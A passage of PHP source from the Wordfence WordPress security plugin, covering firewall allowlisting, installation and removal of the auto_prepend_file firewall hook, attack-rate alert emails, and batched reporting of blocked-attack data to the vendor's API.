(wfLiveTrafficQueryException $e) { $return['data'] = array(); $return['sql'] = $e->getMessage(); } $return['success'] = true; return $return; } public static function ajax_whitelistWAFParamKey_callback() { if (class_exists('wfWAF') && $waf = wfWAF::getInstance()) { if (isset($_POST['path']) && isset($_POST['paramKey']) && isset($_POST['failedRules'])) { $ruleIDs = is_array($_POST['failedRules']) ? array_map('intval', $_POST['failedRules']) : intval($_POST['failedRules']); $data = array( 'timestamp' => time(), 'description' => __('Allowlisted via Live Traffic', 'wordfence'), 'source' => 'live-traffic', 'ip' => wfUtils::getIP(), ); if (function_exists('get_current_user_id')) { $data['userID'] = get_current_user_id(); } $waf->whitelistRuleForParam(base64_decode($_POST['path']), base64_decode($_POST['paramKey']), $ruleIDs, $data); /** * @see wfConfig.php::wordfence_waf_toggled_allow_entry */ do_action('wordfence_waf_created_allow_entry', array(array_merge(array('rule' => $ruleIDs, 'path' => $_POST['path'], 'paramKey' => $_POST['paramKey']), $data))); return array( 'success' => true, ); } } return false; } private static function _getWAFData($updated = null, $failureReason = false) { $data['learningMode'] = wfWAF::getInstance()->isInLearningMode(); $data['rules'] = wfWAF::getInstance()->getRules(); /** @var wfWAFRule $rule */ foreach ($data['rules'] as $ruleID => $rule) { $data['rules'][$ruleID] = $rule->toArray(); } $whitelistedURLParams = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('whitelistedURLParams', array(), 'livewaf'); $data['whitelistedURLParams'] = array(); if (is_array($whitelistedURLParams)) { foreach ($whitelistedURLParams as $urlParamKey => $rules) { list($path, $paramKey) = explode('|', $urlParamKey); $whitelistData = null; foreach ($rules as $ruleID => $whitelistedData) { if ($whitelistData === null) { $whitelistData = $whitelistedData; continue; } if ($ruleID === 'all') { $whitelistData = $whitelistedData; break; } } if (is_array($whitelistData) && array_key_exists('userID', $whitelistData) && function_exists('get_user_by')) { $user = get_user_by('id', $whitelistData['userID']); if ($user) { $whitelistData['username'] = $user->user_login; } } $data['whitelistedURLParams'][] = array( 'path' => $path, 'paramKey' => $paramKey, 'ruleID' => array_keys($rules), 'data' => $whitelistData, ); } } $data['disabledRules'] = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('disabledRules'); if ($lastUpdated = wfWAF::getInstance()->getStorageEngine()->getConfig('rulesLastUpdated', null, 'transient')) { $data['rulesLastUpdated'] = $lastUpdated; } $data['isPaid'] = (bool) wfConfig::get('isPaid', 0); if ($updated !== null) { $data['updated'] = (bool) $updated; if (!$updated) { $data['failure'] = $failureReason; } } return $data; } public static function ajax_wafStatus_callback() { if (!empty($_REQUEST['nonce']) && hash_equals($_REQUEST['nonce'], wfConfig::get('wafStatusCallbackNonce', ''))) { wfConfig::set('wafStatusCallbackNonce', ''); wfUtils::send_json(array('active' => WFWAF_AUTO_PREPEND, 'subdirectory' => WFWAF_SUBDIRECTORY_INSTALL)); } wfUtils::send_json(false); } public static function ajax_installAutoPrepend_callback() { global $wp_filesystem; $currentAutoPrependFile = ini_get('auto_prepend_file'); $currentAutoPrepend = null; if (isset($_POST['currentAutoPrepend']) && !WF_IS_WP_ENGINE && !WF_IS_PRESSABLE && !WF_IS_FLYWHEEL) { $currentAutoPrepend = $_POST['currentAutoPrepend']; } $serverConfiguration = null; if (isset($_POST['serverConfiguration']) && wfWAFAutoPrependHelper::isValidServerConfig($_POST['serverConfiguration'])) { $serverConfiguration = $_POST['serverConfiguration']; } if ($serverConfiguration === null) { return array('errorMsg' => __('A valid server configuration was not provided.', 'wordfence')); } $helper = new wfWAFAutoPrependHelper($serverConfiguration, $currentAutoPrepend === 'override' ? null : $currentAutoPrependFile); ob_start(); $ajaxURL = admin_url('admin-ajax.php'); $allow_relaxed_file_ownership = true; if (false === ($credentials = request_filesystem_credentials($ajaxURL, '', false, ABSPATH, array('version', 'locale', 'action', 'serverConfiguration', 'currentAutoPrepend'), $allow_relaxed_file_ownership))) { $credentialsContent = ob_get_clean(); $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Filesystem Credentials Required', 'wordfence'), 'html' => $credentialsContent, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the setup process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_INSTALL_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerHTML' => esc_html__('Once you have entered credentials, click Continue to complete the setup.', 'wordfence'), ))->render(); return array('needsCredentials' => 1, 'html' => $html); } ob_end_clean(); if (!WP_Filesystem($credentials, ABSPATH, $allow_relaxed_file_ownership) && $wp_filesystem->errors->get_error_code()) { $credentialsError = ''; foreach ($wp_filesystem->errors->get_error_messages() as $message) { if (is_wp_error($message)) { if ($message->get_error_data() && is_string($message->get_error_data())) { $message = $message->get_error_message() . ': ' . $message->get_error_data(); } else { $message = $message->get_error_message(); } } $credentialsError .= "

$message

\n"; } $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Filesystem Permission Error', 'wordfence'), 'html' => $credentialsError, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the setup process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_INSTALL_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Cancel', 'wordfence'), ))->render(); return array('credentialsFailed' => 1, 'html' => $html); } try { $helper->performInstallation($wp_filesystem); $nonce = bin2hex(wfWAFUtils::random_bytes(32)); wfConfig::set('wafStatusCallbackNonce', $nonce); $verifyURL = add_query_arg(array('action' => 'wordfence_wafStatus', 'nonce' => $nonce), $ajaxURL); $response = wp_remote_get($verifyURL, array('headers' => array('Referer' => false/*, 'Cookie' => 'XDEBUG_SESSION=1'*/))); $active = false; if (!is_wp_error($response)) { $wafStatus = @json_decode(wp_remote_retrieve_body($response), true); if (isset($wafStatus['active']) && isset($wafStatus['subdirectory'])) { $active = $wafStatus['active'] && !$wafStatus['subdirectory']; } } if ($serverConfiguration == 'manual') { $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Manual Installation Instructions', 'wordfence'), 'html' => wfView::create('waf/waf-install-manual')->render(), 'footerButtonTitle' => __('Close', 'wordfence'), ))->render(); } else { $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Installation Successful', 'wordfence'), 'html' => wfView::create('waf/waf-install-success', array('active' => $active))->render(), 'footerButtonTitle' => __('Close', 'wordfence'), ))->render(); } /** * Fires when the WAF protection level changes due to user action. * * @since 8.0.0 * * @param string $before The previous mode. * @param string $after The new mode. */ do_action('wordfence_waf_changed_protection_level', wfFirewall::PROTECTION_MODE_BASIC, wfFirewall::PROTECTION_MODE_EXTENDED); return array('ok' => 1, 'html' => $html); } catch (wfWAFAutoPrependHelperException $e) { $installError = "

" . $e->getMessage() . "

"; $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Installation Failed', 'wordfence'), 'html' => $installError, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the setup process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_INSTALL_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Cancel', 'wordfence'), ))->render(); return array('installationFailed' => 1, 'html' => $html); } } public static function ajax_uninstallAutoPrepend_callback() { global $wp_filesystem; $serverConfiguration = null; if (isset($_POST['serverConfiguration']) && wfWAFAutoPrependHelper::isValidServerConfig($_POST['serverConfiguration'])) { $serverConfiguration = $_POST['serverConfiguration']; } if ($serverConfiguration === null) { return array('errorMsg' => __('A valid server configuration was not provided.', 'wordfence')); } $helper = new wfWAFAutoPrependHelper($serverConfiguration, null); if (isset($_POST['credentials']) && isset($_POST['credentialsSignature'])) { $salt = wp_salt('logged_in'); $expectedSignature = hash_hmac('sha256', $_POST['credentials'], $salt); if (hash_equals($expectedSignature, $_POST['credentialsSignature'])) { $decrypted = wfUtils::decrypt($_POST['credentials']); $credentials = @json_decode($decrypted, true); } } $ajaxURL = admin_url('admin-ajax.php'); if (!isset($credentials)) { $allow_relaxed_file_ownership = true; ob_start(); if (false === ($credentials = request_filesystem_credentials($ajaxURL, '', false, ABSPATH, array('version', 'locale', 'action', 'serverConfiguration', 'iniModified'), $allow_relaxed_file_ownership))) { $credentialsContent = ob_get_clean(); $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Filesystem Credentials Required', 'wordfence'), 'html' => $credentialsContent, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the uninstall process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_REMOVE_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerHTML' => esc_html__('Once you have entered credentials, click Continue to complete uninstallation.', 'wordfence'), ))->render(); return array('needsCredentials' => 1, 'html' => $html); } ob_end_clean(); } if (!WP_Filesystem($credentials, ABSPATH, $allow_relaxed_file_ownership) && $wp_filesystem->errors->get_error_code()) { $credentialsError = ''; foreach ($wp_filesystem->errors->get_error_messages() as $message) { if (is_wp_error($message)) { if ($message->get_error_data() && is_string($message->get_error_data())) { $message = $message->get_error_message() . ': ' . $message->get_error_data(); } else { $message = $message->get_error_message(); } } $credentialsError .= "

$message

\n"; } $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Filesystem Permission Error', 'wordfence'), 'html' => $credentialsError, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the uninstall process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_REMOVE_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Cancel', 'wordfence'), ))->render(); return array('credentialsFailed' => 1, 'html' => $html); } try { if ((!isset($_POST['iniModified']) || (isset($_POST['iniModified']) && !$_POST['iniModified'])) && !WF_IS_PRESSABLE) { //Uses .user.ini but not yet modified $hasPreviousAutoPrepend = $helper->performIniRemoval($wp_filesystem); $iniTTL = intval(ini_get('user_ini.cache_ttl')); if ($iniTTL == 0) { $iniTTL = 300; //The PHP default } if (!$helper->usesUserIni()) { $iniTTL = 0; //.htaccess } $timeout = max(30, $iniTTL); $timeoutString = wfUtils::makeDuration($timeout); $waitingResponse = '

' . __('The auto_prepend_file setting has been successfully removed from .htaccess and .user.ini. Once this change takes effect, Extended Protection Mode will be disabled.', 'wordfence') . '

'; if ($hasPreviousAutoPrepend) { $waitingResponse .= '

' . __('Any previous value for auto_prepend_file will need to be re-enabled manually if still needed.', 'wordfence') . '

'; } $spinner = wfView::create('common/indeterminate-progress', array('size' => 32))->render(); $waitingResponse .= '
  • ' . $spinner . '
  • ' . sprintf(/* translators: Time until. */ __('Waiting for it to take effect. This may take up to %s.', 'wordfence'), $timeoutString) . '
'; $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Waiting for Changes', 'wordfence'), 'html' => $waitingResponse, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the uninstall process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_REMOVE_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Close', 'wordfence'), 'noX' => true, ))->render(); $response = array('uninstallationWaiting' => 1, 'html' => $html, 'timeout' => $timeout, 'serverConfiguration' => $_POST['serverConfiguration']); if (isset($credentials) && is_array($credentials)) { $salt = wp_salt('logged_in'); $json = json_encode($credentials); $encrypted = wfUtils::encrypt($json); $signature = hash_hmac('sha256', $encrypted, $salt); $response['credentials'] = $encrypted; $response['credentialsSignature'] = $signature; } /** * Fires when the WAF protection level changes due to user action. * * @since 8.0.0 * * @param string $before The previous mode. * @param string $after The new mode. */ do_action('wordfence_waf_changed_protection_level', wfFirewall::PROTECTION_MODE_EXTENDED, wfFirewall::PROTECTION_MODE_BASIC); return $response; } else { //.user.ini and .htaccess modified if applicable and waiting period elapsed or otherwise ready to advance to next step if (WFWAF_AUTO_PREPEND && !WFWAF_SUBDIRECTORY_INSTALL && !WF_IS_WP_ENGINE && !WF_IS_PRESSABLE) { //.user.ini modified, but the WAF is still enabled $retryAttempted = (isset($_POST['retryAttempted']) && $_POST['retryAttempted']); $userIniError = '

'; $userIniError .= __('Extended Protection Mode has not been disabled. This may be because auto_prepend_file is configured somewhere else or the value is still cached by PHP.', 'wordfence'); if ($retryAttempted) { $userIniError .= ' ' . __('Retrying Failed.', 'wordfence') . ''; } $userIniError .= ' ' . __('Try Again', 'wordfence') . ''; $userIniError .= '

'; $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Unable to Uninstall', 'wordfence'), 'html' => $userIniError, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the uninstall process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_REMOVE_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Cancel', 'wordfence'), ))->render(); $response = array('uninstallationFailed' => 1, 'html' => $html, 'serverConfiguration' => $_POST['serverConfiguration']); if (isset($credentials) && is_array($credentials)) { $salt = wp_salt('logged_in'); $json = json_encode($credentials); $encrypted = wfUtils::encrypt($json); $signature = hash_hmac('sha256', $encrypted, $salt); $response['credentials'] = $encrypted; $response['credentialsSignature'] = $signature; } return $response; } $helper->performAutoPrependFileRemoval($wp_filesystem); $nonce = bin2hex(wfWAFUtils::random_bytes(32)); wfConfig::set('wafStatusCallbackNonce', $nonce); $verifyURL = add_query_arg(array('action' => 'wordfence_wafStatus', 'nonce' => $nonce), $ajaxURL); $response = wp_remote_get($verifyURL, array('headers' => array('Referer' => false/*, 'Cookie' => 'XDEBUG_SESSION=1'*/))); $active = true; $subdirectory = WFWAF_SUBDIRECTORY_INSTALL; if (!is_wp_error($response)) { $wafStatus = @json_decode(wp_remote_retrieve_body($response), true); if (isset($wafStatus['active']) && isset($wafStatus['subdirectory'])) { $active = $wafStatus['active'] && !$wafStatus['subdirectory']; $subdirectory = $wafStatus['subdirectory']; } } $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Uninstallation Complete', 'wordfence'), 'html' => wfView::create('waf/waf-uninstall-success', array('active' => $active, 'subdirectory' => $subdirectory))->render(), 'footerButtonTitle' => __('Close', 'wordfence'), ))->render(); return array('ok' => 1, 'html' => $html); } } catch (wfWAFAutoPrependHelperException $e) { $installError = "

" . $e->getMessage() . "

"; $html = wfView::create('waf/waf-modal-wrapper', array( 'title' => __('Uninstallation Failed', 'wordfence'), 'html' => $installError, 'helpHTML' => wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the uninstall process, click here for help (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_REMOVE_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))), 'footerButtonTitle' => __('Cancel', 'wordfence'), ))->render(); return array('uninstallationFailed' => 1, 'html' => $html); } } public static function actionUserRegistration($user_id) { if (wfUtils::isAdmin($user_id) && ($request = self::getLog()->getCurrentRequest())) { //self::getLog()->canLogHit = true; $request->action = 'user:adminCreate'; $request->save(); } } public static function actionPasswordReset($user = null, $new_pass = null) { if ($request = self::getLog()->getCurrentRequest()) { //self::getLog()->canLogHit = true; $request->action = 'user:passwordReset'; $request->save(); } } public static function trimWfHits($force = false) { if(!$force && self::isApiDelayed()) return; $wfdb = new wfDB(); $lastAggregation = wfConfig::get('lastBlockAggregation', 0); $table_wfHits = wfDB::networkTable('wfHits'); $count = $wfdb->querySingle("select count(*) as cnt from {$table_wfHits}"); $liveTrafficMaxRows = absint(wfConfig::get('liveTraf_maxRows', 2000)); if ($count > $liveTrafficMaxRows * 10) { self::_aggregateBlockStats($lastAggregation); $wfdb->truncate($table_wfHits); //So we don't slow down sites that have very large wfHits tables } else if ($count > $liveTrafficMaxRows) { self::_aggregateBlockStats($lastAggregation); $wfdb->queryWrite("delete from {$table_wfHits} order by id asc limit %d", ($count - $liveTrafficMaxRows) + ($liveTrafficMaxRows * .2)); } else if ($lastAggregation < (time() - 86400)) { self::_aggregateBlockStats($lastAggregation); } $maxAge = wfConfig::get('liveTraf_maxAge', 30); if ($maxAge <= 0 || $maxAge > 30) { $maxAge = 30; } $wfdb->queryWrite("DELETE FROM {$table_wfHits} WHERE ctime < %d", time() - ($maxAge * 86400)); } private static function _aggregateBlockStats($since = false) { global $wpdb; if (!wfConfig::get('other_WFNet', true)) { return; } if ($since === false) { $since = wfConfig::get('lastBlockAggregation', 0); } $hitsTable = wfDB::networkTable('wfHits'); $query = $wpdb->prepare("SELECT COUNT(*) AS cnt, CASE WHEN (jsRun = 1 OR userID > 0) THEN 1 ELSE 0 END AS isHuman, statusCode FROM {$hitsTable} WHERE ctime > %d GROUP BY isHuman, statusCode", $since); $rows = $wpdb->get_results($query, ARRAY_A); if (count($rows)) { try { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $api->call('aggregate_stats', array(), array('stats' => json_encode($rows))); } catch (Exception $e) { // Do nothing } } wfConfig::set('lastBlockAggregation', time()); } private static function isApiDelayed() { return wfConfig::get('apiDelayedUntil', 0) > time(); } private static function delaySendAttackData($until) { wfConfig::set('apiDelayedUntil', $until); self::scheduleSendAttackData($until); } private static function scheduleSendAttackData($timeToSend = null) { if ($timeToSend === null) { $timeToSend = time() + (60 * 5); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_processAttackData')) { wp_schedule_single_event($timeToSend, 'wordfence_processAttackData'); } if ($notMainSite) { restore_current_blog(); } } private static function truncateWafFailures() { wfDB::shared()->truncate(wfDB::networkTable('wfWafFailures')); } private static function loadWafFailures(&$purgeCallable = null) { global $wpdb; $table = wfDB::networkTable('wfWafFailures'); $query = <<get_results($query); $maxId = null; foreach ($results as $row) { if ($maxId === null) { $maxId = $row->id; } else { $maxId = max($maxId, $row->id); } } if ($maxId === null) { $purgeCallable = function() { /* Nothing to delete */ }; } else { $purgeCallable = function() use ($table, $maxId, $wpdb) { $wpdb->query( $wpdb->prepare( "DELETE FROM {$table} WHERE id <= %d", $maxId ) ); }; } return $results; } /** * */ public static function processAttackData() { global $wpdb; $table_wfHits = wfDB::networkTable('wfHits'); if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $waf = wfWAF::getInstance(); if ($waf->getStorageEngine()->getConfig('attackDataKey', false) === false) { $waf->getStorageEngine()->setConfig('attackDataKey', mt_rand(0, 0xfff)); } //Send alert email if needed if (wfConfig::get('wafAlertOnAttacks')) { $alertInterval = wfConfig::get('wafAlertInterval', 0); $cutoffTime = max(time() - $alertInterval, wfConfig::get('wafAlertLastSendTime')); $wafAlertWhitelist = wfConfig::get('wafAlertWhitelist', ''); $wafAlertWhitelist = preg_split("/[,\r\n]+/", $wafAlertWhitelist); foreach ($wafAlertWhitelist as $index => &$entry) { $entry = trim($entry); if (empty($entry) || (!preg_match('/^(?:\d{1,3}(?:\.|$)){4}/', $entry) && !preg_match('/^((?:[\da-f]{1,4}(?::|)){0,8})(::)?((?:[\da-f]{1,4}(?::|)){0,8})$/i', $entry))) { unset($wafAlertWhitelist[$index]); continue; } $packed = @wfUtils::inet_pton($entry); if ($packed === false) { unset($wafAlertWhitelist[$index]); continue; } $entry = bin2hex($packed); } $wafAlertWhitelist = array_filter($wafAlertWhitelist); $attackDataQuery = $wpdb->prepare( "SELECT * FROM {$table_wfHits} WHERE action = 'blocked:waf' " . (count($wafAlertWhitelist) ? "AND HEX(IP) NOT IN (" . implode(", ", array_fill(0, count($wafAlertWhitelist), '%s')) . ")" : "") . " AND attackLogTime > %f ORDER BY attackLogTime DESC LIMIT 10", array_merge($wafAlertWhitelist, array(sprintf('%.6f', $cutoffTime)))); $attackDataCountQuery = str_replace( array( "SELECT * FROM", "ORDER BY attackLogTime DESC", "LIMIT 10", ), array( "SELECT COUNT(*) FROM", "", "" ), $attackDataQuery ); $attackData = $wpdb->get_results($attackDataQuery); $attackCount = $wpdb->get_var($attackDataCountQuery); unset( $attackDataQuery, $attackDataCountQuery ); $threshold = (int) wfConfig::get('wafAlertThreshold'); if ($threshold < 1) { $threshold = 100; } if ($attackCount >= $threshold) { $durationMessage = wfUtils::makeDuration($alertInterval); $message = sprintf( /* translators: 1. Number of attacks/blocks. 2. Time since. */ __('The Wordfence Web Application Firewall has blocked %1$d attacks over the last %2$s.', 'wordfence'), $attackCount, $durationMessage ); $message .= "\n\n"; $message .= __('Wordfence is blocking these attacks, and we\'re sending this notice to make you aware that there is a higher volume of the attacks than usual. Additionally, the Wordfence Real-Time IP Blocklist can block known attackers\' IP addresses automatically for Premium users, including any probing requests that may not be malicious on their own. All Wordfence users can also opt to block the attacking IPs manually if desired. As always, be sure to watch your scan results and keep your plugins, themes and WordPress core version updated.', 'wordfence'); $message .= "\n\n"; $message .= __('Below is a sample of these recent attacks:', 'wordfence'); $attackTable = array(); $dateMax = $ipMax = $countryMax = 0; foreach ($attackData as $row) { $actionData = json_decode($row->actionData, true); if (!is_array($actionData) || !isset($actionData['paramKey']) || !isset($actionData['paramValue'])) { continue; } if (isset($actionData['failedRules']) && $actionData['failedRules'] == 'blocked') { $row->longDescription = __("Blocked because the IP is blocklisted", 'wordfence'); } else { $row->longDescription = sprintf(/* translators: Reason for firewall action. */ __("Blocked for %s", 'wordfence'), $row->actionDescription); } $paramKey = base64_decode($actionData['paramKey']); $paramValue = base64_decode($actionData['paramValue']); if (strlen($paramValue) > 100) { $paramValue = substr($paramValue, 0, 100) . '...'; } if (preg_match('/([a-z0-9_]+\.[a-z0-9_]+)(?:\[(.+?)\](.*))?/i', $paramKey, $matches)) { switch ($matches[1]) { case 'request.queryString': $row->longDescription = sprintf( /* translators: 1. Reason for firewall action. 2. Input parameter. 2. Input parameter value. */ __('Blocked for %1$s in query string: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.body': $row->longDescription = sprintf( /* translators: 1. Reason for firewall action. 2. Input parameter. 2. Input parameter value. */ __('Blocked for %1$s in POST body: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.cookie': $row->longDescription = sprintf( /* translators: 1. Reason for firewall action. 2. Input parameter. 2. Input parameter value. */ __('Blocked for %1$s in cookie: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.fileNames': $row->longDescription = sprintf( /* translators: 1. Reason for firewall action. 2. Input parameter. 2. Input parameter value. */ __('Blocked for %1$s in file: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; } } $date = date_i18n('F j, Y g:ia', floor($row->attackLogTime)); $dateMax = max(strlen($date), $dateMax); $ip = wfUtils::inet_ntop($row->IP); $ipMax = max(strlen($ip), $ipMax); $country = wfUtils::countryCode2Name(wfUtils::IP2Country($ip)); $country = (empty($country) ? 'Unknown' : $country); $countryMax = max(strlen($country), $countryMax); $attackTable[] = array('date' => $date, 'IP' => $ip, 'country' => $country, 'message' => $row->longDescription); } foreach ($attackTable as $row) { $date = str_pad($row['date'], $dateMax + 2); $ip = str_pad($row['IP'] . " ({$row['country']})", $ipMax + $countryMax + 8); $attackMessage = $row['message']; $message .= "\n" . $date . $ip . $attackMessage; } $alertCallback = array(new wfIncreasedAttackRateAlert($message), 'send'); do_action('wordfence_security_event', 'increasedAttackRate', array( 'attackCount' => $attackCount, 'attackTable' => $attackTable, 'duration' => $alertInterval, 'ip' => wfUtils::getIP(), ), $alertCallback); wfConfig::set('wafAlertLastSendTime', time()); } } if (wfConfig::get('other_WFNet', true)) { $response = wp_remote_get(sprintf(WFWAF_API_URL_SEC . "waf-rules/%d.txt", $waf->getStorageEngine()->getConfig('attackDataKey')), array('headers' => array('Referer' => false))); if (!is_wp_error($response)) { $okToSendBody = wp_remote_retrieve_body($response); if ($okToSendBody === 'ok') { //Send attack data $limit = 500; $lastSendTime = wfConfig::get('lastAttackDataSendTime'); $lastSendId = wfConfig::get('lastAttackDataSendId'); if($lastSendId===false){ $query=$wpdb->prepare("SELECT * FROM {$table_wfHits} WHERE action in ('blocked:waf', 'learned:waf', 'logged:waf', 'blocked:waf-always') AND attackLogTime > %f LIMIT %d", sprintf('%.6f', $lastSendTime), $limit); $count_query = str_replace( array( "SELECT * FROM", "LIMIT " . $limit, ), array( "SELECT COUNT(*) FROM", "" ), $query ); } else{ $query=$wpdb->prepare("SELECT * FROM {$table_wfHits} WHERE action in ('blocked:waf', 'learned:waf', 'logged:waf', 'blocked:waf-always') AND id > %d ORDER BY id LIMIT %d", $lastSendId, $limit); $count_query = str_replace( array( "SELECT * FROM", "ORDER BY id LIMIT " . $limit, ), array( "SELECT COUNT(*) FROM", "" ), $query ); } $params[]=$limit; $attackData = $wpdb->get_results($query); $totalRows = $wpdb->get_var($count_query); if ($attackData) { // Build JSON to send $dataToSend = array(); $attackDataToUpdate = array(); foreach ($attackData as $attackDataRow) { $actionData = (array) wfRequestModel::unserializeActionData($attackDataRow->actionData); $dataToSend[] = array( $attackDataRow->attackLogTime, $attackDataRow->ctime, wfUtils::inet_ntop($attackDataRow->IP), (array_key_exists('learningMode', $actionData) ? $actionData['learningMode'] : 0), (array_key_exists('paramKey', $actionData) ? base64_encode($actionData['paramKey']) : false), (array_key_exists('paramValue', $actionData) ? base64_encode($actionData['paramValue']) : false), (array_key_exists('failedRules', $actionData) ? $actionData['failedRules'] : ''), strpos($attackDataRow->URL, 'https') === 0 ? 1 : 0, (array_key_exists('fullRequest', $actionData) ? $actionData['fullRequest'] : ''), ); if (array_key_exists('fullRequest', $actionData)) { unset($actionData['fullRequest']); $attackDataToUpdate[$attackDataRow->id] = array( 'actionData' => wfRequestModel::serializeActionData($actionData), ); } if ($attackDataRow->attackLogTime > $lastSendTime) { $lastSendTime = $attackDataRow->attackLogTime; } } $bodyLimit=self::ATTACK_DATA_BODY_LIMIT; $response=null; do { $bodyData=null; do { if($bodyData!==null) array_splice($dataToSend, floor(count($dataToSend)/2)); $bodyData=json_encode($dataToSend); } while(strlen($bodyData)>$bodyLimit&&count($dataToSend)>1); $homeurl = wfUtils::wpHomeURL(); $siteurl = wfUtils::wpSiteURL(); $installType = wfUtils::wafInstallationType(); $response = wp_remote_post(WFWAF_API_URL_SEC . "?" . http_build_query(array( 'action' => 'send_waf_attack_data', 'k' => $waf->getStorageEngine()->getConfig('apiKey', null, 'synced'), 's' => $siteurl, 'h' => $homeurl, 't' => microtime(true), 'c' => $installType, 'lang' => get_site_option('WPLANG'), ), '', '&'), array( 'body' => $bodyData, 'headers' => array( 'Content-Type' => 'application/json', 'Referer' => false, ), 'timeout' => 30, )); $bodyLimit/=2; } while(wp_remote_retrieve_response_code($response)===413&&count($dataToSend)>1); if (!is_wp_error($response) && ($body = wp_remote_retrieve_body($response))) { $jsonData = json_decode($body, true); if (is_array($jsonData) && array_key_exists('success', $jsonData)) { wfConfig::set('lastAttackDataSendTime', $lastSendTime); $lastSendIndex=count($dataToSend)-1; if($lastSendIndex>=0){ $lastSendId = $attackData[$lastSendIndex]->id; wfConfig::set('lastAttackDataSendId', $lastSendId); // Successfully sent data, remove the full request from the table to reduce storage size foreach ($attackDataToUpdate as $hitID => $dataToUpdate) { if ($hitID <= $lastSendId) { $wpdb->update($table_wfHits, $dataToUpdate, array( 'id' => $hitID, )); } } } if (count($dataToSend) < $totalRows) { self::scheduleSendAttackData(); } if (array_key_exists('data', $jsonData) && array_key_exists('watchedIPList', $jsonData['data'])) { $waf->getStorageEngine()->setConfig('watchedIPs', $jsonData['data']['watchedIPList'], 'transient'); } } } else{ //Delay interactions for 30 minutes if an error occurs self::delaySendAttackData(time() + 30*60); } } //Send false positives and WAF failures $lastSendTime = wfConfig::get('lastFalsePositiveSendTime'); $whitelistedURLParams = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('whitelistedURLParams', array(), 'livewaf'); $wafFailures = self::loadWafFailures($purgeWafFailures); if (count($whitelistedURLParams) || !empty($wafFailures)) { $falsePositives = array(); $mostRecentWhitelisting = $lastSendTime; $addedNeedsEvent = array(); foreach ($whitelistedURLParams as $urlParamKey => $rules) { list($path, $paramKey) = explode('|', $urlParamKey); $ruleData = array(); foreach ($rules as $ruleID => $whitelistedData) { if ($whitelistedData['timestamp'] > $lastSendTime && (!isset($whitelistedData['disabled']) || !$whitelistedData['disabled'])) { if (isset($whitelistedData['source'])) { $source = $whitelistedData['source']; } else if ($whitelistedData['description'] == 'Allowlisted via false positive dialog') { $source = 'false-positive'; } else if ($whitelistedData['description'] == 'Allowlisted via Live Traffic') { $source = 'live-traffic'; } else if ($whitelistedData['description'] == 'Allowlisted while in Learning Mode.') { $source = 'learning-mode'; } else { //A user-entered description or Whitelisted via Firewall Options page $source = 'waf-options'; } $ruleData[] = array( $ruleID, $whitelistedData['timestamp'], $source, $whitelistedData['description'], $whitelistedData['ip'], isset($whitelistedData['userID']) ? $whitelistedData['userID'] : 0, ); if ($whitelistedData['timestamp'] > $mostRecentWhitelisting) { $mostRecentWhitelisting = $whitelistedData['timestamp']; } if ($source == 'false-positive' || $source == 